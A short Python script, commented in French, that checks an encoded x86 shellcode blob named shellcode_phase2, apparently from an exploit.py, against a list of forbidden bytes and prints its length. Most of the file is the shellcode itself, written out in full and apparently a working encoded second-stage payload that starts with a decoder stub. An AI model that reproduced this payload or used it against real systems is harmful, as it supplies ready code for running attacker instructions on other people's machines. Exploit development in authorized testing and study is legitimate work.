#!/usr/bin/env python3
"""Vérifier les bad chars dans shellcode_phase2 de exploit.py"""
BAD_CHARS = set([0x00,0x01,0x09,0x0a,0x0b,0x0c,0x0d,0x1a,0x20,0x25])

shellcode_phase2  = b""
shellcode_phase2 += b"\x2b\xc9\x83\xe9\xae\xe8\xff\xff\xff"
shellcode_phase2 += b"\xff\xc0\x5e\x81\x76\x0e\x89\x90\xbf"
shellcode_phase2 += b"\x99\x83\xee\xfc\xe2\xf4\x75\x78\x3d"
shellcode_phase2 += b"\x99\x89\x90\xdf\x10\x6c\xa1\x7f\xfd"
shellcode_phase2 += b"\x02\xc0\x8f\x12\xdb\x9c\x34\xcb\x9d"
shellcode_phase2 += b"\x1b\xcd\xb1\x86\x27\xf5\xbf\xb8\x6f"
shellcode_phase2 += b"\x13\xa5\xe8\xec\xbd\xb5\xa9\x51\x70"
shellcode_phase2 += b"\x94\x88\x57\x5d\x6b\xdb\xc7\x34\xcb"
shellcode_phase2 += b"\x99\x1b\xf5\xa5\x02\xdc\xae\xe1\x6a"
shellcode_phase2 += b"\xd8\xbe\x48\xd8\x1b\xe6\xb9\x88\x43"
shellcode_phase2 += b"\x34\xd0\x91\x73\x85\xd0\x02\xa4\x34"
shellcode_phase2 += b"\x98\x5f\xa1\x40\x35\x48\x5f\xb2\x98"
shellcode_phase2 += b"\x4e\xa8\x5f\xec\x7f\x93\xc2\x61\xb2"
shellcode_phase2 += b"\xed\x9b\xec\x6d\xc8\x34\xc1\xad\x91"
shellcode_phase2 += b"\x6c\xff\x02\x9c\xf4\x12\xd1\x8c\xbe"
shellcode_phase2 += b"\x4a\x02\x94\x34\x98\x59\x19\xfb\xbd"
shellcode_phase2 += b"\xad\xcb\xe4\xf8\xd0\xca\xee\x66\x69"
shellcode_phase2 += b"\xcf\xe0\xc3\x02\x82\x54\x14\xd4\xf8"
shellcode_phase2 += b"\x8c\xab\x89\x90\xd7\xee\xfa\xa2\xe0"
shellcode_phase2 += b"\xcd\xe1\xdc\xc8\xbf\x8e\x6f\x6a\x21"
shellcode_phase2 += b"\x19\x91\xbf\x99\xa0\x54\xeb\xc9\xe1"
shellcode_phase2 += b"\xb9\x3f\xf2\x89\x6f\x6a\xf3\x81\xc9"
shellcode_phase2 += b"\xef\x7b\x74\xd0\xef\xd9\xd9\xf8\x55"
shellcode_phase2 += b"\x96\x56\x70\x40\x4c\x1e\xf8\xbd\x99"
shellcode_phase2 += b"\x81\xd9\x36\x7f\xe3\x80\xe9\xce\xe1"
shellcode_phase2 += b"\x52\x64\xae\xee\x6f\x6a\xce\xe1\x27"
shellcode_phase2 += b"\x56\xa1\x76\x6f\x6a\xce\xe1\xe4\x53"
shellcode_phase2 += b"\xa2\x68\x6f\x6a\xce\x1e\xf8\xca\xf7"
shellcode_phase2 += b"\xc4\xf1\x40\x4c\xe1\xf3\xd2\xfd\x89"
shellcode_phase2 += b"\x19\x5c\xce\xde\xc7\x8e\x6f\xe3\x82"
shellcode_phase2 += b"\xe6\xcf\x6b\x6d\xd9\x5e\xcd\xb4\x83"
shellcode_phase2 += b"\x98\x88\x1d\xfb\xbd\x99\x56\xbf\xdd"
shellcode_phase2 += b"\xdd\xc0\xe9\xcf\xdf\xd6\xe9\xd7\xdf"
shellcode_phase2 += b"\xc6\xec\xcf\xe1\xe9\x73\xa6\x0f\x6f"
shellcode_phase2 += b"\x6a\x10\x69\xde\xe9\xdf\x76\xa0\xd7"
shellcode_phase2 += b"\x91\x0e\x8d\xdf\x66\x5c\x2b\x4f\x2c"
shellcode_phase2 += b"\x2b\xc6\xd7\x3f\x1c\x2d\x22\x66\x5c"
shellcode_phase2 += b"\xac\xb9\xe5\x83\x10\x44\x79\xfc\x95"
shellcode_phase2 += b"\x04\xde\x9a\xe2\xd0\xf3\x89\xc3\x40"
shellcode_phase2 += b"\x4c"

bad_found = [(i, hex(b)) for i, b in enumerate(shellcode_phase2) if b in BAD_CHARS]
print("Bad chars in shellcode:", bad_found if bad_found else "None - shellcode OK")
print("Shellcode length:", len(shellcode_phase2))
